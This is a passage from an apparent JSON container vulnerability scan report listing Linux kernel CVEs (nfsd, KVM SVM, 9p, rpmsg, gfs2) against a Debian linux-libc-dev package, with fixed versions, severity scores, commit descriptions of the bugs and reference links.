"https://git.kernel.org/linus/9e18e83b8846a5c3fe13fc8a464b4865d33996c6%20%287.2-rc1%29", "https://git.kernel.org/stable/c/161d1aaeb04d620d3692639700512bb5038c1e10", "https://git.kernel.org/stable/c/1e04be34cafae119e82bcaccd6d28a20f72a3647", "https://git.kernel.org/stable/c/46eb17d45be69d28c7a23ea03283b207426a8232", "https://git.kernel.org/stable/c/49de5d31dd8fdebf78bdeaf196b0ca5cd5c75439", "https://git.kernel.org/stable/c/5ec37edcb534f3fc92304be236d37f08e6545585", "https://git.kernel.org/stable/c/8836405abdc53ca3dd5fc68b2cf6f8f012fad011", "https://git.kernel.org/stable/c/9e18e83b8846a5c3fe13fc8a464b4865d33996c6", "https://git.kernel.org/stable/c/c8a24effd96d4779e2ad779654682304491c55a5", "https://linux.oracle.com/cve/CVE-2026-53398.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026071957-CVE-2026-53398-56e9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53398", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-53398" ], "PublishedDate": "2026-07-19T12:16:50.933Z", "LastModifiedDate": "2026-10-19T20:19:18.507Z" }, { "VulnerabilityID": "CVE-2026-53399", "VendorIDs": [ "DSA-6393-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53399", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8c140caffcbbd474e6a5f035d356cd14b639488e535f59aabdd0bb4e99d3bdff", "Title": "kernel: nfsd: release layout stid on setlease failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: release layout stid on setlease failure\n\nnfs4_alloc_stid() publishes the new stid into cl-\u003ecl_stateids via\nidr_alloc_cyclic() under cl_lock before returning to\nnfsd4_alloc_layout_stateid(). When nfsd4_layout_setlease() then\nfails, the error path frees the layout stateid directly with\nkmem_cache_free() without ever calling idr_remove(), leaving the\nIDR slot pointing at freed slab memory. Any subsequent IDR walker\n(states_show, client teardown) dereferences the dangling pointer.\n\nThe correct teardown for an IDR-published stid is nfs4_put_stid(),\nwhich removes the IDR slot under cl_lock, dispatches sc_free\n(nfsd4_free_layout_stateid) to release ls-\u003els_file via\nnfsd4_close_layout(), and drops the nfs4_file reference in its\ntail.\n\nA second issue blocks that switch: nfsd4_free_layout_stateid()\nunconditionally inspects ls-\u003els_fence_work via\ndelayed_work_pending() under ls_lock, but\nINIT_DELAYED_WORK(\u0026ls-\u003els_fence_work, ...) currently runs only\nafter the setlease call. On the setlease-failure path the\ndestructor would touch an uninitialized delayed_work.\n\n nfsd4_alloc_layout_stateid()\n nfs4_alloc_stid() /* idr_alloc_cyclic under cl_lock */\n nfsd4_layout_setlease() /* fails */\n nfs4_put_stid()\n nfsd4_free_layout_stateid()\n delayed_work_pending(\u0026ls-\u003els_fence_work) /* needs INIT */\n nfsd4_close_layout() /* nfsd_file_put(ls-\u003els_file) */\n put_nfs4_file()\n\nFix by hoisting the ls_fenced / ls_fence_delay / INIT_DELAYED_WORK\ninitialization above the nfsd4_layout_setlease() call, and replace\nthe manual nfsd_file_put + put_nfs4_file + kmem_cache_free cleanup\nwith a single nfs4_put_stid(stp).", "Severity": "HIGH", "CweIDs": [ "CWE-476", "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-53399", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/30d55c8aabb261bc3f427d6b9aae7ef6206063f9%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2e0a5d6d62600b8c614d1b55e50ef94035d6adf9", "https://git.kernel.org/stable/c/30d55c8aabb261bc3f427d6b9aae7ef6206063f9", "https://git.kernel.org/stable/c/48a586e382e4db1dbf958d44b63e081df5f8ed04", "https://git.kernel.org/stable/c/7bbb7ce74051c8be4b69ff44ce3db370600dae61", "https://git.kernel.org/stable/c/83c2b7797742339bb768f83935f7ca33950db138", "https://git.kernel.org/stable/c/8dee7c278f1c2b5bb80e17a6281c3812fc8b0cdd", "https://git.kernel.org/stable/c/d369e5edfaaf83a448016e2f1da392b2174be801", "https://git.kernel.org/stable/c/d788ef40a7517d22c97ab01700e4ae4c611b6f2f", "https://linux.oracle.com/cve/CVE-2026-53399.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071958-CVE-2026-53399-c8aa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53399", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53399" ], "PublishedDate": "2026-07-19T12:16:51.063Z", "LastModifiedDate": "2026-10-19T20:19:18.683Z" }, { "VulnerabilityID": "CVE-2026-63794", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63794", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e70e7dcded80aa9d41f2fef8f742a5fc332ebf7ae9b6ce3765e73ff01a69944c", "Title": "kernel: KVM: SVM: Fix page overflow in sev_dbg_crypt() for ENCRYPT path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Fix page overflow in sev_dbg_crypt() for ENCRYPT path\n\nIn sev_dbg_crypt(), the per-iteration transfer length is bounded by\nthe source page offset (PAGE_SIZE - s_off) but not by the destination\npage offset (PAGE_SIZE - d_off). When d_off \u003e s_off, the encrypt\npath (__sev_dbg_encrypt_user) performs a read-modify-write using a\nsingle-page intermediate buffer (dst_tpage):\n\n 1. __sev_dbg_decrypt() expands the size to round_up(len + (d_off \u0026 15), 16)\n before issuing the PSP command. If len + (d_off \u0026 15) \u003e PAGE_SIZE,\n the PSP writes beyond the end of the 4096-byte dst_tpage allocation.\n\n 2. The subsequent memcpy()/copy_from_user() into\n page_address(dst_tpage) + (d_off \u0026 15) of 'len' bytes overflows\n by up to 15 bytes under the same condition.\n\nTrigger example: s_off = 0, d_off = 1, debug.len = PAGE_SIZE -\nthe PSP is instructed to write round_up(4097, 16) = 4112 bytes to\na 4096-byte buffer.\n\nFix by also bounding len by (PAGE_SIZE - d_off), the same check that\nsev_send_update_data() already performs for its single-page guest\nregion.\n\n ==================================================================\n BUG: KASAN: slab-use-after-free in sev_dbg_crypt+0x993/0xd10 [kvm_amd]\n Write of size 4095 at addr ff110062293bb009 by task sev_dbg_test/228214\n\n CPU: 96 UID: 0 PID: 228214 Comm: sev_dbg_test Tainted: G U W 7.0.0-smp--5ce9b0c48211-dbg #156 PREEMPTLAZY\n Tainted: [U]=USER, [W]=WARN\n Hardware name: Google Astoria/astoria, BIOS 0.20250817.1-0 08/25/2025\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x54/0x70\n print_report+0xbc/0x260\n kasan_report+0xa2/0xd0\n kasan_check_range+0x25f/0x2c0\n __asan_memcpy+0x40/0x70\n sev_dbg_crypt+0x993/0xd10 [kvm_amd]\n sev_mem_enc_ioctl+0x33c/0x450 [kvm_amd]\n kvm_vm_ioctl+0x65d/0x6d0 [kvm]\n __se_sys_ioctl+0xb2/0x100\n do_syscall_64+0xe8/0x870\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n \u003c/TASK\u003e\n\n The buggy address belongs to the physical page:\n page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x7fe72b6a0 pfn:0x62293bb\n memcg:ff11000112827d82\n flags: 0x1400000000000000(node=1|zone=1)\n raw: 1400000000000000 0000000000000000 dead000000000122 0000000000000000\n raw: 00000007fe72b6a0 0000000000000000 00000001ffffffff ff11000112827d82\n page dumped because: kasan: bad access detected\n\n Memory state around the buggy address:\n ff110062293bbf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ff110062293bbf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n \u003eff110062293bc000: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ^\n ff110062293bc080: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ff110062293bc100: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ==================================================================\n Disabling lock debugging due to kernel taint\n\n[sean: add sample KASAN splat, Fixes, and stable@]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 2, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:74438", "https://access.redhat.com/security/cve/CVE-2026-63794", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2528550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2528550", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80775", "https://errata.almalinux.org/9/ALSA-2026-74438.html", "https://errata.rockylinux.org/RLSA-2026:74438", "https://git.kernel.org/linus/78ee2d50185a037b3d2452a97f3dad69c3f7f389%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2753a097d1fe24c4351c608048612c74108aa89f", "https://git.kernel.org/stable/c/64f2449841ffc7d203183aa4c748c9c77951ecc5", "https://git.kernel.org/stable/c/720949ed666f34ff28ffdfe1471a5861d1e41fdf", "https://git.kernel.org/stable/c/78ee2d50185a037b3d2452a97f3dad69c3f7f389", "https://git.kernel.org/stable/c/889c2a9c59897ca912bf39df5bb92555a0a13df4", "https://git.kernel.org/stable/c/9349b50f4b11f135fe73b56cb2c2c872d8bc71d7", "https://git.kernel.org/stable/c/e1a0fe288dee07b7da25a71e007c1ecd1080315b", "https://git.kernel.org/stable/c/f701ae476cb92a3a3d8844bb39bb63b4512684c8", "https://linux.oracle.com/cve/CVE-2026-63794.html", "https://linux.oracle.com/errata/ELSA-2026-76738.html", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63794-b463@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63794", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63794" ], "PublishedDate": "2026-07-19T12:16:51.757Z", "LastModifiedDate": "2026-11-06T17:18:34.21Z" }, { "VulnerabilityID": "CVE-2026-63795", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63795", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:efb0b89f5c6cceb48a2dcc302edf3591e09e0007b577838aa752cc847de5cf62", "Title": "kernel: 9p: avoid putting oldfid in p9_client_walk() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\n9p: avoid putting oldfid in p9_client_walk() error path\n\nWhen p9_client_walk() is called with clone set to false, fid aliases\noldfid. If the walk subsequently fails after the request has been sent,\nthe error path jumps to clunk_fid, which currently calls p9_fid_put(fid)\nunconditionally.\n\nThis drops a reference to oldfid even though ownership of oldfid remains\nwith the caller. If this is the last reference, oldfid can be clunked and\ndestroyed while the caller still expects it to be valid. A later use or\nput of oldfid can then trigger a use-after-free or refcount underflow.\n\nFix this by only putting fid in the clunk_fid error path when it does not\nalias oldfid, matching the existing guard in the error path below.\n\nThis can be triggered when a multi-component walk is split into multiple\np9_client_walk() calls and a later non-cloning walk fails. A reproducer\nand refcount warning logs are available on request.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63795", "https://git.kernel.org/linus/1a3860d46e3eb47dbd60339783cdad7904486b9f%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1a3860d46e3eb47dbd60339783cdad7904486b9f", "https://git.kernel.org/stable/c/6dbe9443d9f5f7fb6d319a7b77108853ae6c6bea", "https://git.kernel.org/stable/c/99c379ca1e221c3d75c7c804ebbf4e5ee37a3070", "https://git.kernel.org/stable/c/a61bdcba4f64c2f90d01461913f429ab151f1ca6", "https://git.kernel.org/stable/c/a7656d368265d085ac9bb85ab31b0cdb72ad8c38", "https://git.kernel.org/stable/c/b84f46179c806450b89821221ea5bd9a1698aba8", "https://linux.oracle.com/cve/CVE-2026-63795.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63795-709a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63795", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-63795" ], "PublishedDate": "2026-07-19T12:16:51.91Z", "LastModifiedDate": "2026-10-19T20:19:19.95Z" }, { "VulnerabilityID": "CVE-2026-63797", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63797", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4cc22215314c5c71878babdeaf2ecd299cd075c572192d3e7d8b9a17a58bc71e", "Title": "kernel: rpmsg: char: Fix use-after-free on probe error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrpmsg: char: Fix use-after-free on probe error path\n\nrpmsg_chrdev_probe() stores the newly allocated eptdev in the default\nendpoint's priv pointer before calling rpmsg_chrdev_eptdev_add(). If\nrpmsg_chrdev_eptdev_add() then fails, its error path frees eptdev while\nthe default endpoint may still dispatch callbacks with the stale priv\npointer.\n\nAvoid publishing eptdev through the default endpoint until\nrpmsg_chrdev_eptdev_add() succeeds. Messages received before the priv\npointer is published should be ignored by rpmsg_ept_cb(). Flow-control\nupdates can hit rpmsg_ept_flow_cb() in the same window, so make both\ncallbacks return success when priv is NULL.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63797", "https://git.kernel.org/linus/1ff3f528e67d20e2b1483dcaba899dc7832b2e6b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/104d100212396801f1d9d388282f746e23e2bfd6", "https://git.kernel.org/stable/c/1306fc4f76f765727a6d5aefbf08ef0c8f32996f", "https://git.kernel.org/stable/c/1ff3f528e67d20e2b1483dcaba899dc7832b2e6b", "https://git.kernel.org/stable/c/c5ebb06c7e24d531b68707168e04698859d642bc", "https://git.kernel.org/stable/c/ddf13f91ca82c94ef7ad9c41a434a03313f8eb1b", "https://git.kernel.org/stable/c/ff268cd9ccbce6472a0658791b417bf11c31ee39", "https://lore.kernel.org/linux-cve-announce/2026071900-CVE-2026-63797-44ec@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63797", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-63797" ], "PublishedDate": "2026-07-19T12:16:52.19Z", "LastModifiedDate": "2026-08-17T05:17:15.98Z" }, { "VulnerabilityID": "CVE-2026-63804", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63804", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b794603e0dd3e0308ac56aa3ba740a509041716ba150211454ca1742f4999b62", "Title": "kernel: gfs2: fix use-after-free in gfs2_qd_dealloc", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: fix use-after-free in gfs2_qd_dealloc\n\ngfs2_qd_dealloc(), called as an RCU callback from gfs2_qd_dispose(),\naccesses the superblock object sdp through qd-\u003eqd_sbd after freeing qd.\nIt does so to decrement sd_quota_count and wake up sd_kill_wait.\n\nHowever, by the time the RCU callback runs, gfs2_put_super() may have\nalready freed sdp via free_sbd(). This can happen when\ngfs2_quota_cleanup() is called during unmount: it disposes of quota\nobjects via call_rcu() and then waits on sd_kill_wait with a 60-second\ntimeout. If the timeout expires, or if gfs2_gl_hash_clear() triggers\nadditional qd_put() calls that schedule more RCU callbacks after the\nwait completes, gfs2_put_super() will proceed to free the superblock\nwhile RCU callbacks referencing it are still pending.\n\nAdd an rcu_barrier() before free_sbd() in gfs2_put_super() to ensure\nall pending RCU callbacks (including gfs2_qd_dealloc) have completed\nbefore the superblock is freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63804", 